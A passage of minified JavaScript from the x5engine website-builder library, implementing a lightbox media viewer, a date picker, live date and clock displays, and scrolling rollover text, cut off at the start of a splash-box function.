_jq("#imSBmedia").clone();e.attr("id","imSBmedia2");e.find("img").attr("src",_jq(d).attr("src"));e.css({position:"absolute",top:0,left:0});_jq("#imSBmedia").before(e);e.fadeOut(0);e.fadeIn(g);_jq("#imSBmedia").fadeOut(g)}_jq("#imSB").animate({borderWidth:0,left:b.left,top:b.top,width:_jq(d).width(),margin:0,padding:0,height:_jq(d).height()},g,function(){_jq(d).css("visibility","visible");_jq("#imSBBG").remove();_jq("#imSB").remove()})}_jq(window).unbind("resize",n);_jq("#imSBBG").fadeOut(g);_jq("body").unbind("keypress", B)},n=function(){null!=i&&clearTimeout(i);i=setTimeout(m,200);null!==_jq("#imSB").width()&&(_jq("#imSBBG").width(_jq(document).width()),_jq("#imSBBG").height(_jq(document).height()))},v=function(b,c,d,e){null!=_jq("#imSBBG").width()?_jq("#imSBBG").after('<div id="imSB"><div id="imSBmedia"></div><div id="imDes"></div></div>'):_jq("body").append('<div id="imSB"><div id="imSBmedia"></div><div id="imDes"></div></div>');"none"!=a.effect&&_jq("#imSB").fadeOut(0);_jq("#imSB").css({top:c,left:b,width:d,height:e, padding:a.innerBorder,zIndex:x5engine.settings.zIndex.showBox+1,backgroundColor:a.boxColor});_jq("#imSB #imDes").css("color",a.textColor);_jq("#imSB").css("-moz-border-radius","10px");_jq("#imSB").css("-webkit-border-radius","10px");_jq("#imSB").css("border-radius","10px");return _jq("#imSB")},A=function(){!1==/MSIE 7/.test(navigator.userAgent)&&(_jq("#imSB").css("box-shadow","0px 3px 7px #000"),_jq("#imSB").css("-webkit-box-shadow","0px 3px 7px #000"),_jq("#imSB").css("-moz-box-shadow","0px 3px 7px #000"))}, F=function(){p();_jq("#imSBmedia img").unbind("load");_jq("#imSBmedia").empty().append("File not found").fadeIn()},u=function(){l();_jq("#imSBBG").click(r);o=0<_jq("#imNext:visible").length&&0<_jq("#imPrev:visible").length?!0:!1;G();0<_jq("#imDes:visible").length&&""!=_jq("#imDes:visible").html()?_jq("#imDes").fadeOut(g):_jq("#imDes").fadeOut(0);_jq("#imSB #imClose").fadeOut(g+1,function(){_jq("#imSB #imClose").remove()});0==_jq("#imSBmedia").length&&(_jq("#imSB object").remove(),_jq("#imSB").prepend('<div id="imSBmedia"></div>')); _jq("#imSBmedia").fadeOut(""==_jq("#imSBmedia").html()?1:g+1,function(){_jq("#imDes").empty();""!=a.media[c].text?(_jq("#imDes").append(a.media[c].text.replace(/&amp;/g,"&").replace(/&gt;/g,">").replace(/&lt;/g,"<")),_jq("#imDes").height("auto")):_jq("#imDes").fadeOut(0);_jq("#imSBmedia").empty();switch(a.media[c].type){case "img":_jq("#imSBmedia").append("<img />");"none"!=a.effect&&_jq("#imSBmedia img").fadeOut(0);"zoom"!=a.effect&&"hide"!=a.effect||j?_jq("#imSBmedia img").load(m):_jq("#imSBmedia img").load(t); _jq("#imSBmedia img").error(F);_jq("#imSBmedia img").attr("src",a.media[c].url);break;case "video":"zoom"!=a.effect&&"hide"!=a.effect||j?m(function(){_jq("#imSBmedia").append('<embed src="'+a.media[c].url+'" width="'+a.media[c].width+'" height="'+a.media[c].height+'" autostart="true"></embed>')}):t(function(){_jq("#imSBmedia").append('<embed src="'+a.media[c].url+'" width="'+a.media[c].width+'" height="'+a.media[c].height+'" autostart="true"></embed>')});break;case "swf":"zoom"!=a.effect&&"hide"!= a.effect||j?m(function(){_jq("#imSBmedia").append('<embed src="'+a.media[c].url+'" type="application/x-shockwave-flash" width="'+a.media[c].width+'" height="'+a.media[c].height+'" wmode="opaque" menu="false" quality="high"></embed>')}):t(function(){_jq("#imSBmedia").append('<embed src="'+a.media[c].url+'" type="application/x-shockwave-flash" width="'+a.media[c].width+'" height="'+a.media[c].height+'" wmode="opaque" menu="false" quality="high"></embed>')});break;case "iframe":"zoom"!=a.effect&&"hide"!= a.effect||j?m(function(){_jq("#imSBmedia").append('')}):t(function(){_jq("#imSBmedia").append('')});break;case "code":var b=a.media[c].content,b=b.replace(/&amp;/g,"&"),b=b.replace(/&lt;/g,"<"),b=b.replace(/&gt;/g, ">"),b=b.replace(/&quot;/g,'"');"zoom"!=a.effect&&"hide"!=a.effect||j?m(function(){_jq("#imSBmedia").append(b);setTimeout(function(){try{_jq("#imSB").unbind("mousemove",s),_jq("#imSB").mousemove().mouseleave(),_jq("#imSB").mousemove(s)}catch(a){}},1E3)}):t(function(){_jq("#imSBmedia").append(b);setTimeout(function(){try{_jq("#imSB").unbind("mousemove",s),_jq("#imSB").mousemove().mouseleave(),_jq("#imSB").mousemove(s)}catch(a){}},1E3)})}})},x=function(b){var c=a.media[b].width,d,e;_jq("#imDes").width(c); d=a.media[b].height;""!=_jq("#imDes").html()&&(d+=_jq("#imDes").height());"img"==a.media[b].type&&(_jq("#imSBmedia img").fadeIn(0),_jq("#imSBmedia img").width(""),_jq("#imSBmedia img").height(""));_jq("#imSBmedia").width("");_jq("#imSBmedia").height("");c+2*a.border+2*a.innerBorder>_jq(window).width()-50&&(d=d*(_jq(window).width()-50-2*a.border-2*a.innerBorder)/c,c=_jq(window).width()-50-2*a.border-2*a.innerBorder,_jq("#imDes").width(c),""!=_jq("#imDes").html()&&(d+=_jq("#imDes").height()));if(d+ 2*a.border+2*a.innerBorder>_jq(window).height()-50){var f=_jq("#imDes").outerHeight(),c=c*(_jq(window).height()-50-2*a.border-2*a.innerBorder)/d;e=d=_jq(window).height()-50-2*a.border-2*a.innerBorder;""!=_jq("#imDes").html()&&(e-=_jq("#imDes").height());_jq("#imDes").width(Math.round(a.media[b].width*e/a.media[b].height));_jq("#imDes").height()<=f&&(c=Math.round(a.media[b].width*e/a.media[b].height));_jq("#imDes").width("")}return[c,d,null]},m=function(b){0<_jq("#imSBmedia img").length&&_jq("#imSBmedia img").unbind("load"); _jq("#imSB").css({padding:a.innerBorder});_jq("#imDes").fadeOut(""==_jq("#imSBmedia").html()?1:g+1);_jq("#imSBmedia").fadeOut(""==_jq("#imSBmedia").html()?1:g+1,function(){var d=x(c),e=g;_jq("#imSBmedia img").width("100%");_jq("#imSB").width()==d[0]&&_jq("#imSB").height()==d[1]&&(e=1);_jq("#imSB").width()>d[0]&&(o=!1);_jq("#imSB").animate({left:Math.round((_jq(window).width()-d[0]-2*a.innerBorder-2*a.border)/2),width:d[0]},e,function(){_jq("#imSB").animate({top:Math.round((_jq(window).height()-d[1]- 2*a.innerBorder-2*a.border)/2),height:d[1]},e,function(){p();_jq("#imSBmedia").fadeIn(g+1,function(){o&&s()});""!=_jq("#imDes").html()&&_jq("#imDes").fadeIn(g);C();1<a.media.length&&D();a.shadow&&A();_jq(window).unbind("resize",n).resize(n);_jq(document).unbind("keydown",w).keydown(w);null!=b&&_jq.isFunction(b)&&b()})})})},t=function(b){_jq("#imSBmedia img").unbind("load");var e=x(c);p();_jq("#imSBmedia").css({width:"100%",textAlign:"center"});_jq("#imSBmedia img").css({width:"100%"});_jq("#imSB").fadeIn(0); _jq("#imSBmedia").fadeOut(1);"hide"==a.effect&&_jq(d).css("visibility","hidden");_jq("#imSB").css("background-color",a.boxColor);q();var f=_jq("#imSBmedia").clone(!1);f.attr("id","fakeSBImg");f.find("img").attr("src",_jq(d).attr("src"));f.css({position:"absolute",top:0,left:0});_jq("#imSB").prepend(f);f.fadeIn(0);f.fadeOut(g,function(){f.remove()});_jq("#imSBmedia").fadeIn(g);_jq("#imSB").animate({left:Math.round((_jq(window).width()-e[0]-2*a.innerBorder-2*a.border)/2),width:e[0],padding:a.innerBorder, top:Math.round((_jq(window).height()-e[1]-2*a.innerBorder-2*a.border)/2),height:e[1],borderWidth:a.border},g,function(){""!=_jq("#imDes").html()&&_jq("#imDes").fadeIn(g);_jq("#imSB").css("border-width",a.border);C();o&&s();1<a.media.length&&D();a.shadow&&A();_jq(window).unbind("resize",n).resize(n);null!=b&&_jq.isFunction(b)&&b()})},C=function(){_jq("#imSB").append('<div id="imClose"><img src="'+h+'" /></div>');_jq("#imSB #imClose img").click(r)},D=function(){_jq("#imPrev").remove();_jq("#imNext").remove(); _jq("#imSB").append('<div id="imPrev">&lt;</div><div id="imNext">&gt;</div>');_jq("#imPrev").fadeOut(0);_jq("#imNext").fadeOut(0);_jq("#imPrev").click(y);_jq("#imNext").click(z);_jq("#imSB").unbind("mouseleave");_jq("#imSB").unbind("mousemove");_jq("#imSB").mouseleave(function(){null!=k&&clearTimeout(k);k=setTimeout(function(){_jq("#imNext").stop(!0,!0);_jq("#imPrev").stop(!0,!0);_jq("#imNext").fadeOut(g);_jq("#imPrev").fadeOut(g)},g/2)});_jq("#imSB").mousemove(s)},G=function(){_jq("#imPrev").fadeOut(g, function(){_jq("#imPrev").remove()});_jq("#imNext").fadeOut(g,function(){_jq("#imNext").remove()})},E=function(){_jq("#imNext").css({"-moz-border-top-left-radius":0,"-moz-border-top-right-radius":10,"-moz-border-bottom-right-radius":10,"-moz-border-bottom-left-radius":0,"-webkit-border-top-left-radius":0,"-webkit-border-top-right-radius":10,"-webkit-border-bottom-right-radius":10,"-webkit-border-bottom-left-radius":0,"border-top-left-radius":0,"border-top-right-radius":10,"border-bottom-right-radius":10, "border-bottom-left-radius":0});_jq("#imPrev").css({"-moz-border-top-left-radius":10,"-moz-border-top-right-radius":0,"-moz-border-bottom-right-radius":0,"-moz-border-bottom-left-radius":10,"-webkit-border-top-left-radius":10,"-webkit-border-top-right-radius":0,"-webkit-border-bottom-right-radius":0,"-webkit-border-bottom-left-radius":10,"border-top-left-radius":10,"border-top-right-radius":0,"border-bottom-right-radius":0,"border-bottom-left-radius":10})},w=function(a){if(!_jq("#imSB").is(":animated"))switch(a.keyCode){case 32:case 39:z(); break;case 37:y()}switch(a.keyCode){case 27:r()}},s=function(){null!=k&&clearTimeout(k);var b=_jq("#imSB").outerHeight()/2-_jq("#imPrev").outerHeight()/2,d;_jq("#imSB").width()-2*a.innerBorder>2*_jq("#imPrev").width()?(d=a.innerBorder,_jq("#imPrev").css({"-moz-border-top-left-radius":0,"-moz-border-top-right-radius":10,"-moz-border-bottom-right-radius":10,"-moz-border-bottom-left-radius":0,"-webkit-border-top-left-radius":0,"-webkit-border-top-right-radius":10,"-webkit-border-bottom-right-radius":10, "-webkit-border-bottom-left-radius":0,"border-top-left-radius":0,"border-top-right-radius":10,"border-bottom-right-radius":10,"border-bottom-left-radius":0}),_jq("#imNext").css({"-moz-border-top-left-radius":10,"-moz-border-top-right-radius":0,"-moz-border-bottom-right-radius":0,"-moz-border-bottom-left-radius":10,"-webkit-border-top-left-radius":10,"-webkit-border-top-right-radius":0,"-webkit-border-bottom-right-radius":0,"-webkit-border-bottom-left-radius":10,"border-top-left-radius":10,"border-top-right-radius":0, "border-bottom-right-radius":0,"border-bottom-left-radius":10})):(d=-_jq("#imPrev").width(),E());"iframe"!=a.media[c].type&&"img"!=a.media[c].type&&(d=-_jq("#imPrev").width(),E());_jq("#imPrev").css({top:b,left:d});_jq("#imNext").css({top:b,right:d});_jq("#imPrev").fadeIn(g);_jq("#imNext").fadeIn(g)},z=function(){j=!0;c++;c>=a.media.length&&(c=0);u(c)},y=function(){j=!0;c--;0>c&&(c=a.media.length-1);u(c)},B=function(a){switch(a.keyCode){case 37:case 40:a.preventDefault();y();break;case 39:case 38:a.preventDefault(); z();break;case 27:a.preventDefault(),r()}};this.showBox=function(){var b;q(function(){"none"==a.effect||"fade"==a.effect?(b=v(Math.round(_jq(window).width()/2-50),Math.round(_jq(window).height()/2-50),100,100),l(),b.fadeIn(g,function(){u(c)})):"move"==a.effect&&(b=v(Math.round(_jq(window).width()/2-50),-100,100,100),b.fadeIn(0),b.animate({top:Math.round(_jq(window).height()/2-50)},g/2,function(){u(c);l()}))})};this.zoomBox=function(){x(c);var b;_jq(d).find("img").is("img")&&(d=_jq(d).find("img")); try{b=_jq(d).offset(),b.left-=_jq(window).scrollLeft(),b.top-=_jq(window).scrollTop(),box=v(b.left,b.top,_jq(d).width(),_jq(d).height()),box.css("padding","0px"),box.css("border-width","0px"),box.css("background-color","transparent"),l(),box.fadeIn(),u(c),_jq("body").keypress(B)}catch(e){a.effect="fade",this.showBox()}}},Show:function(a,b,d){a.effect=a.effect||x5engine.settings.imShowBox.effect;a.shadow=a.shadow||x5engine.settings.imShowBox.shadow;a.background=a.background||x5engine.settings.imShowBox.background; a.border=a.border||x5engine.settings.imShowBox.borderRadius;a.textColor=a.textColor||x5engine.settings.imShowBox.textColor;a.boxColor=a.boxColor||x5engine.settings.imShowBox.boxColor;a.opacity=a.opacity||x5engine.settings.imShowBox.opacity;a.closeImg=a.closeImg||x5engine.settings.imShowBox.closeImg;a.loadingImg=a.loadingImg||x5engine.settings.imShowBox.loadingImg;a.innerBorder=a.innerBorder||x5engine.settings.imShowBox.innerBorder;a.radialBg=a.radialBg||x5engine.settings.imShowBox.radialBg;for(var c= [],e=0;e<a.media.length;e++)c[c.length]=a.media[e].url;x5engine.utils.imPreloadImages(c);0==_jq("#imSB").length&&(b=new x5engine.imShowBox._create(a,b,d),"zoom"==a.effect||"hide"==a.effect?b.zoomBox():b.showBox());return!1}},imDatePicker:function(a,b){var d,c=x5engine.l10n.getLocalization("date_months"),e=x5engine.l10n.getLocalization("date_full_months"),h=x5engine.l10n.getLocalization("date_days"),g=x5engine.l10n.getLocalization("date_full_days"),f=function(a,b){for(var c=[],d=!1,e=0;!d&&e<b.length;)-1!= a.indexOf(b.charAt(e))&&(d=!0),e++;if(!d||0==b.length)return[a];d=a.split(b.charAt(0));for(e=0;e<d.length;e++)c=c.concat(f(d[e],b.substring(1)));return c},i=function(){var c=_jq(a).val(),d=b.format;if(""!=c){format=d;format=format.replace(/\//g,"\\/");format=format.replace(/\s/g,"\\s+");format=format.replace(/\-/g,"\\-");format=format.replace(/\./g,"\\.");format=format.replace(/\[dd\]/g,"\\d{1,2}");format=format.replace(/\[mm\]/g,"\\d{1,2}");format=format.replace(/\[yy\]/g,"\\d{2}");format=format.replace(/\[yyyy\]/g, "\\d{4}");format=format.replace(/\[DD\]/g,"[\\w\u00ec\u00f2\u00e0\u00f9\u00e8\u00e9']+");format=format.replace(/\[MM\]/g,"[\\w\u00ec\u00f2\u00e0\u00f9\u00e8\u00e9']+");format=format.replace(/\[D\]/g,"[\\w\u00ec\u00f2\u00e0\u00f9\u00e8\u00e9']+");format=format.replace(/\[M\]/g,"[\\w\u00ec\u00f2\u00e0\u00f9\u00e8\u00e9']+");format="^"+format+"$";if(!RegExp(format).test(c))return!1;for(var d=d.replace("[M]",""),d=d.replace("[D]",""),d=d.replace("[MM]",""),d=d.replace("[DD]",""),d=d.replace("[yy]",""), d=d.replace("[yyyy]",""),d=d.replace("[mm]",""),d=d.replace("[dd]",""),e=f(b.format,d),c=f(c,d),g=d="",h="",i=0;i<e.length;i++)switch(e[i]){case "[M]":for(var k=x5engine.l10n.getLocalization("date_months"),j=0;j<k.length;j++)k[j].toLowerCase()==c[i].toLowerCase()&&(d=j+1);break;case "[MM]":k=x5engine.l10n.getLocalization("date_full_months");for(j=0;j<k.length;j++)k[j].toLowerCase()==c[i].toLowerCase()&&(d=j+1);break;case "[D]":k=x5engine.l10n.getLocalization("date_days");for(j=0;j<k.length;j++)k[j].toLowerCase()== c[i].toLowerCase()&&(g=j+1);break;case "[DD]":k=x5engine.l10n.getLocalization("date_full_days");for(j=0;j<k.length;j++)k[j].toLowerCase()==c[i].toLowerCase()&&(g=j+1);break;case "[yy]":h="20"+c[i];break;case "[yyyy]":h=c[i];break;case "[mm]":d=c[i];break;case "[dd]":g=c[i]}return new Date(h,d-1,g)}return!1},j=function(){var a,c;a="<table><tr>";for(var e=0;e<h.length;e++)c=e+b.start,6<c&&(c-=7),a+='<td class="imDPhead">'+h[c]+"</td>";a+="</tr>";c=new Date(b.date.getYear(),b.date.getMonth(),b.date.getDate()); c.setFullYear(b.date.getFullYear());c.setDate(1);var f=parseInt(c.getDay(),10),f=f-b.start;0>=f&&(f+=7);for(var g=parseInt(c.getMonth(),10),i=0;c.getMonth()==g;){a+="<tr>";for(e=1;7>=e;e++){var k="day";if(e+7*i>=f&&c.getMonth()==g){var j=e-f+1+7*i;j==d.getDate()&&c.getMonth()==d.getMonth()&&(k+=" selDay");a+='<td class="'+k+'">'+j+"</td>";c.setDate(c.getDate()+1)}else a+="<td></td>"}a+="</tr>";i++}return a+"</table>"},k=function(f,i){null==i||!1==i?(b.date.setDate(_jq(this).html()),d.setFullYear(b.date.getFullYear()), d.setMonth(b.date.getMonth()),d.setDate(_jq(this).html())):(b.date.setFullYear(i.getFullYear()),b.date.setMonth(i.getMonth()),b.date.setDate(i.getDate()),d.setFullYear(i.getFullYear()),d.setMonth(i.getMonth()),d.setDate(i.getDate()));var k=b.date.getFullYear().toString(),j=x5engine.utils.imFormatInt(parseInt(b.date.getDate(),10)),o=x5engine.utils.imFormatInt(parseInt(b.date.getMonth(),10)+1),m=b.format.replace(/\[yyyy\]/g,k),m=m.replace(/\[yy\]/g,k.substring(2)),m=m.replace(/\[mm\]/g,o),m=m.replace(/\[dd\]/g, j),m=m.replace(/\[D\]/g,0<=parseInt(d.getDay(),10)-1?h[parseInt(d.getDay(),10)-1]:h[6]),m=m.replace(/\[DD\]/g,0<=parseInt(d.getDay(),10)-1?g[parseInt(d.getDay(),10)-1]:g[6]),m=m.replace(/\[M\]/g,c[parseInt(d.getMonth(),10)]),m=m.replace(/\[MM\]/g,e[parseInt(d.getMonth(),10)]);_jq(a).attr("value",m);r()},o=function(){b.date.setMonth(b.date.getMonth()+1);_jq("#imDPcal").empty().append(j());_jq("#imDPMonth").empty().append(e[parseInt(b.date.getMonth(),10)]+" "+b.date.getFullYear().toString());_jq(".day").click(k)}, l=function(){b.date.setMonth(b.date.getMonth()-1);_jq("#imDPcal").empty().append(j());_jq("#imDPMonth").empty().append(e[parseInt(b.date.getMonth(),10)]+" "+b.date.getFullYear().toString());_jq(".day").click(k)},p=function(a,c){var f=i();null!=f&&!1!=f&&(b.date.setFullYear(f.getFullYear()),b.date.setMonth(f.getMonth()),b.date.setDate(f.getDate()),d.setFullYear(f.getFullYear()),d.setMonth(f.getMonth()),d.setDate(f.getDate()));f='<div id="imDatePicker"><div id="imDPHead"><span id="imDPleft">&lt;</span><span id="imDPMonth">&nbsp;</span><span id="imDPright">&gt;</span></div>'+ ('<div id="imDPcal">'+j()+"</div>");f+="</div>";_jq("body").append('<div id="imDPBG"></div>');_jq("#imDPBG").css({position:"fixed",width:_jq(window).width(),height:_jq(window).height(),top:0,left:0,zIndex:x5engine.settings.zIndex.datePicker+1});_jq("#imDPBG").click(r);_jq("body").append(f);!0==b.shadow&&(_jq("#imDatePicker").css("box-shadow","0px 0px 3px #000"),_jq("#imDatePicker").css("-webkit-box-shadow","0px 0px 3px #000"),_jq("#imDatePicker").css("-moz-box-shadow","0px 0px 3px #000"));_jq("#imDPMonth").append(e[parseInt(d.getMonth(), 10)]+" "+d.getFullYear().toString());_jq("#imDPleft").click(l);_jq("#imDPright").click(o);_jq(".day").click(k);a+_jq("#imDatePicker").width()>_jq(window).width()+_jq(window).scrollLeft()&&(a=_jq(window).width()-_jq("#imDatePicker").outerWidth()-5+_jq(window).scrollLeft());c+_jq("#imDatePicker").height()>_jq(window).height()+_jq(window).scrollTop()&&(c=_jq(window).height()-_jq("#imDatePicker").outerHeight()-5+_jq(window).scrollTop());_jq("#imDatePicker").fadeOut(0);_jq("#imDatePicker").css({top:c, left:a});/IE 7/.test(navigator.userAgent)||(_jq("#imDatePicker").css("-moz-border-radius","5px"),_jq("#imDatePicker").css("-webkit-border-radius","5px"),_jq("#imDatePicker").css("border-radius","5px"),_jq("#imDatePicker #imDPHead").css("-moz-border-radius","5px"),_jq("#imDatePicker #imDPHead").css("-webkit-border-radius","5px"),_jq("#imDatePicker #imDPHead").css("border-radius","5px"),_jq("#imDatePicker #imDPHead").css("background","-webkit-gradient( linear, left bottom, left top, color-stop(0, rgb(255,255,255)), color-stop(1, rgb(193,203,213)))"), _jq("#imDatePicker #imDPHead").css("background","-moz-linear-gradient( center bottom, rgb(255,255,255) 0%, rgb(193,203,213) 100%"),_jq("#imDatePicker .day").css("background","-webkit-gradient( linear, left bottom, left top, color-stop(0, rgb(245,245,245)), color-stop(1, rgb(255,255,255)))"),_jq("#imDatePicker .day").css("background","-moz-linear-gradient( center bottom, rgb(245,245,245) 0%, rgb(255,255,255) 100%)"),_jq("#imDatePicker .selDay").css("background","-webkit-gradient( linear, left bottom, left top, color-stop(0, rgb(255,240,128)), color-stop(1, rgb(255,255,255)))"), _jq("#imDatePicker .selDay").css("background","-moz-linear-gradient( center bottom, rgb(255,240,128) 0%, rgb(255,255,255) 100% )"));_jq("#imDatePicker").css({zIndex:x5engine.settings.zIndex.datePicker+2}).fadeIn(200)},q=function(a){0<_jq("#imDatePicker").length?_jq("#imDatePicker").fadeOut(200,function(){_jq("#imDatePicker").remove();p(a.pageX,a.pageY)}):p(a.pageX,a.pageY)},r=function(){_jq("#imDPBG").remove();_jq("#imDatePicker").fadeOut(200,function(){_jq("#imDatePicker").remove()})},b=b||{};if(null== b.icon)b.icon=!0;b.start=b.start||0;if(null==b.shadow)b.shadow=!0;0>b.start&&(b.start+=7);b.format=b.format||x5engine.l10n.getLocalization("date_format");b.date=null==b.date||""==b.date||"undefined"==b.date?new Date:new Date(b.date.substring(6),parseInt(b.date.substring(3,5),10)-1,b.date.substring(0,2));d=new Date(b.date.getFullYear(),b.date.getMonth(),b.date.getDate());if(b.icon){var n=document.createElement("span"),n=_jq(n);_jq(a).after(n);n.empty().append('<img src="res/date.gif" style="cursor: pointer;" class="imDatePickerIcon"/>'); n.find("img").css({marginTop:Math.floor(n.prev("input").outerHeight()-15)/2+1});n.click(q)}else _jq(a).click(q);_jq(a).bind("change",function(){var a=i();!1!=a&&k(null,a)})},imDate:function(a,b,d){var b=b||x5engine.l10n.getLocalization("date_days"),d=d||x5engine.l10n.getLocalization("date_months"),c=x5engine.l10n.getLocalization("date_full_months"),e=x5engine.l10n.getLocalization("date_full_days"),h=x5engine.l10n.getLocalization("date_format"),g=new Date,f=g.getFullYear().toString(),i=x5engine.utils.imFormatInt(parseInt(g.getDate(), 10)),j=x5engine.utils.imFormatInt(parseInt(g.getMonth(),10)+1),k="";try{k=h.replace(/\[yyyy\]/g,f),k=k.replace(/\[yy\]/g,f.substring(2)),k=k.replace(/\[aaaa\]/g,f),k=k.replace(/\[aa\]/g,f.substring(2)),k=k.replace(/\[mm\]/g,j),k=k.replace(/\[dd\]/g,i),k=k.replace(/\[D\]/g,0<=parseInt(g.getDay(),10)-1?b[parseInt(g.getDay(),10)-1]:b[6]),k=k.replace(/\[DD\]/g,0<=parseInt(g.getDay(),10)-1?e[parseInt(g.getDay(),10)-1]:e[6]),k=k.replace(/\[M\]/g,d[parseInt(g.getMonth(),10)]),k=k.replace(/\[MM\]/g,c[parseInt(g.getMonth(), 10)])}catch(o){}_jq(a).empty().append(k);setTimeout("x5engine.imDate('"+a+"')",6E4)},imHour:function(a){var b=new Date;_jq(a).empty().append(x5engine.utils.imFormatInt(b.getHours())+":"+x5engine.utils.imFormatInt(b.getMinutes())+":"+x5engine.utils.imFormatInt(b.getSeconds())+" ");setTimeout("x5engine.imHour('"+a+"')",1E3)},imKeys:{Replace:function(a,b){for(var d=_jq(a).find(),c=0;c<d.length;c++)x5engine.imKeys.Replace(d[c],b);for(c=0;c<b.length;c++)_jq.isFunction(b[c].r)?_jq(a).html(_jq(a).html().replace(b[c].f, b[c].r())):_jq(a).html(_jq(a).html().replace(b[c].f,b[c].r))},Set:function(a){x5engine.imKeys.Replace(_jq("body"),a);x5engine.imDate(".imDate",x5engine.l10n.getLocalization("date_days"),x5engine.l10n.getLocalization("date_months"));x5engine.imHour(".imHour")}},imRollover:function(a){a.movement=a.movement||"ALTERNATE";a.direction=a.direction||"UP";a.effect=a.effect||"LINEAR";var b,d=null,c=a.time,e=null,h=0;switch(a.effect){case "SWING":b="swing";break;case "BOUNCE":b="imBounce";break;default:b="linear"}var g= _jq("#"+a.id),f,i=function(j){null==j&&(j=!0);j&&(h=0);null!=e&&clearInterval(e);e=setInterval(function(){h+=10},10);a.time=c-h/1E3;if(0>=a.time)a.time=c;switch(a.movement){case "PAGINATE":switch(a.direction){case "UP":j=f.css("top").replace("px","");j=isNaN(parseInt(j))?0:parseInt(j);j>a.height-f.height()?f.animate({top:j-a.height},{duration:"medium",complete:function(){d=setTimeout(function(){i()},1E3*a.time)},easing:b}):f.animate({top:0},{duration:"medium",complete:function(){d=setTimeout(function(){i()}, 1E3*a.time)},easing:b});break;case "BOTTOM":j=f.css("top").replace("px","");j=isNaN(parseInt(j))?0:parseInt(j);0>=j?f.animate({top:j+a.height},{duration:"medium",complete:function(){d=setTimeout(function(){i()},1E3*a.time)},easing:b}):f.animate({top:a.height-f.height()},{duration:"medium",complete:function(){d=setTimeout(function(){i()},1E3*a.time)},easing:b});break;case "LEFT":j=f.css("left").replace("px","");j=isNaN(parseInt(j))?0:parseInt(j);j>-f.width()+g.width()?f.animate({left:j-g.width()}, {duration:"medium",complete:function(){d=setTimeout(function(){i()},1E3*a.time)},easing:b}):f.animate({left:0},{duration:"medium",complete:function(){d=setTimeout(function(){i()},1E3*a.time)},easing:b});break;case "RIGHT":j=f.css("left").replace("px",""),j=isNaN(parseInt(j))?0:parseInt(j),0>j?f.animate({left:j+g.width()},{duration:"medium",complete:function(){setTimeout(function(){i()},1E3*a.time)},easing:b}):f.animate({left:-f.width()+g.width()},{duration:"medium",complete:function(){setTimeout(function(){i()}, 1E3*a.time)},easing:b})}break;case "CONTINUE":switch(a.direction){case "UP":f.animate({top:-f.height()},{duration:1E3*a.time,complete:function(){f.css({top:a.height});i()},easing:b});break;case "BOTTOM":f.animate({top:a.height},{duration:1E3*a.time,complete:function(){f.css({top:-f.height()});i()},easing:b});break;case "LEFT":f.animate({left:-f.width()},{duration:1E3*a.time,complete:function(){f.css({left:g.width()});i()},easing:b});break;case "RIGHT":f.animate({left:g.width()},{duration:1E3*a.time, complete:function(){f.css({left:-f.width()});i()},easing:b})}break;case "SINGLE":switch(a.direction){case "UP":f.animate({top:0},{duration:1E3*a.time,easing:b});break;case "BOTTOM":f.animate({top:-f.height()+a.height},{duration:1E3*a.time,easing:b});break;case "RIGHT":f.animate({left:-k+g.width()},{duration:1E3*a.time,easing:b});break;case "LEFT":f.animate({left:0},{duration:1E3*a.time,easing:b})}break;default:switch(a.direction){case "UP":f.animate({top:0},{duration:1E3*a.time,complete:function(){a.direction= "BOTTOM";i()},easing:b});break;case "BOTTOM":f.animate({top:-f.height()+a.height},{duration:1E3*a.time,complete:function(){a.direction="UP";i()},easing:b});break;case "LEFT":f.animate({left:-k+g.width()},{duration:1E3*a.time,complete:function(){a.direction="RIGHT";i()},easing:b});break;case "RIGHT":f.animate({left:0},{duration:1E3*a.time,complete:function(){a.direction="LEFT";i()},easing:b})}}},j=function(b){_jq("#"+a.id).append('<div id="widthTest"><div id="widthTestSpan">'+b+"</div></div>");var b= _jq("#widthTest"),c=_jq("#widthTestSpan");b.css({width:"50000000px",position:"absolute"});c.css({width:"auto",position:"absolute",display:"inline"});c=c.outerWidth()+30;b.remove();return c};g.wrapInner('<div id="'+a.id+'_runner">');f=_jq("#"+a.id+"_runner");g.css({position:"relative",overflow:"hidden"});f.css({position:"absolute"});a.mouselock&&"PAGINATE"!=a.movement?(g.mouseenter(function(){null!=e&&clearInterval(e);f.stop()}),g.mouseleave(function(){i(!1)})):a.mouselock&&"PAGINATE"==a.movement&& (g.mouseover(function(){null!=d&&clearTimeout(d)}),g.mouseleave(function(){d=setTimeout(function(){i(!1)},1E3*a.time)}));switch(a.movement){case "CONTINUE":switch(a.direction){case "UP":f.css({top:a.height,width:"100%"});break;case "BOTTOM":f.css({top:-f.height(),width:"100%"});break;case "LEFT":f.css({left:g.width()});var k=j(f.html());f.css({width:k});break;case "RIGHT":k=j(f.html()),f.css({left:-f.width(),width:k})}break;case "PAGINATE":switch(a.direction){case "BOTTOM":f.css({top:-f.height()+ a.height,width:"100%"});break;case "UP":f.css({top:0,width:"100%"});break;case "RIGHT":k=j(f.html());f.css({left:-k+g.width(),width:k});break;case "LEFT":k=j(f.html()),f.css({left:0,width:k})}break;default:switch(a.direction){case "UP":f.css({left:0,top:-f.height()+a.height,width:"100%"});break;case "BOTTOM":f.css({left:0,top:0,width:"100%"});break;case "LEFT":k=j(f.html());f.css({left:-k+g.width(),width:k});break;case "RIGHT":k=j(f.html()),f.css({left:0,width:k})}}"PAGINATE"!=a.movement?i():d=setTimeout(function(){i()}, 1E3*a.time)},imSplashBox:function(a){a.effect=a.effect||x5engine.settings.imSplashBox.effect;a.position=a.position||x5engine.settings.imSplashBox.position;if(null==a.shadow)a.shadow=x5engine.settings.imSplashBox.shadow;a.margin=a.margin||x5engine.settings.imSplashBox.margin;a.width=a.width||x5engine.settings.imSplashBox.width;a.height=a.height||x5engine.settings.imSplashBox.height;a.cookie=a.cookie||x5engine.settings.imSplashBox.cookie;a.link=a.link||x5engine.settings.imSplashBox.link;a.image=a.image|| x5engine.settings.imSplashBox.image;a.sound=a.sound||x5engine.settings.imSplashBox.sound;if(a.cookie&&"true"==_jq.imCookie("im_splash")&&x5engine.utils.isOnline())return!1;var b,d=function(){switch(a.position){case "center":b={left:(_jq(window).width()-cWidth)/2,top:(_jq(window).height()-cHeight)/2};break;case "bottom-right":b={left:_jq(window).width()-cWidth-a.margin,top:_jq(window).height()-cHeight-a.margin};break;case "bottom-left":b={left:a.margin,top:_jq(window).height()-cHeight-a.margin};break; case "top-right":b={left:_jq(window).width()-cWidth-a.margin,top:a.margin};break;case 